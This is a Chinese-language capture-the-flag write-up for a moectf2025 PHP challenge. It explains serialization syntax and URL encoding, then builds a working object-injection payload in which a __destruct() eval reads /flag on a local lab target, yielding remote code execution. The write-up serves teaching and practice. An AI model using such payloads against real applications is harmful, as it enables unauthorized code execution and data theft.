西电moectf2025的web题目-17 第十七章 星骸迷阵·神念重构(100pts)
打开靶机地址映入眼帘是一个反序列化代码页面

代码解读:
unserialize($_GET['a']):把 URL 参数 a 的值反序列化成变量/对象
类 A 的 __destruct() 中 eval($this->a) 会在对象销毁时执行 $a 中的字符串(当作 PHP 代码) → 关键的执行点
部分常见类型的序列化格式:
字符串:s:<len>:"<data>"; (<len> = 字节长度)
整数:i:<num>;
数组:a:<n>:{...}
对象:O:<len>:"ClassName":<propcount>:{ <propname><propvalue> ... }
示例(对象 A,有属性 a 值为 "hello"):
O:1:"A":1:{s:1:"a";s:5:"hello";}
| 类型 | 示例代码 | 结果 |
|---|---|---|
| 字符串 | serialize("abc") | s:3:"abc"; |
| 整数 | serialize(123) | i:123; |
| 数组 | serialize(["x"=>1]) | a:1: |
| 对象 | 类 A 的对象,属性 a=hello | O:1:"A":1: |
注意:s:<len> 中的 <len> 一定要是字节长度(strlen()),写错会导致 unserialize() 报错(常见错误:Error at offset ...)
要把序列化字符串放入 URL 查询参数(例如 ?a=...),因此字符串里的 :, {, }, ", 空格等需要进行 URL 编码(百分号编码),否则 URL 可能被解析/截断或报错
:→ %3A
" → %22
{ → %7B
} → %7D
空格 → %20
( → %28
) → %29
' → %27
; → %3B
构造 Payload来获取flag
希望在 eval($this->a) 中执行:
echo file_get_contents('/flag');
先写出对象序列化形式:
O:1:"A":1:{s:1:"a";s:32:"echo file_get_contents('/flag');";}
说明:
O:1:"A" → 对象,类名 A,长度 1
:1: → 1 个属性
s:1:"a" → 属性名为 "a"
s:32:"..." → 属性值为字符串,长度 32
URL 编码
由于要通过 URL 参数传输,必须把 : { } " ' ( ) 空格 ; 等字符 URL 编码:
“O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A32%3A%22echo%20file_get_contents%28%27/flag%27%29%3B%22%3B%7D
”
完整
“http://127.0.0.1:60018/?a=O%3A1%3A"A"%3A1%3A{s%3A1%3A"a"%3Bs%3A32%3A"echo file_get_contents('/flag')%3B"%3B}
”
访问后就成功输出flag了

总结:
1.反序列化:unserialize($_GET['a']) → 把用户输入还原成对象
2.魔术方法:对象销毁时触发 __destruct()
3.危险函数:eval($this->a) 把用户可控字符串当作 PHP 代码执行
4.利用过程:构造对象 → 设置属性 $a 为恶意代码 → 反序列化还原 → __destruct() 自动执行 → 成功 RCE
结语:
这道题是典型的 PHP 反序列化 + 魔术方法 + eval 漏洞利用,通过实战,理解了
为什么序列化字符串要写成那样的格式
为什么还要 URL 编码
__destruct() 的特殊作用
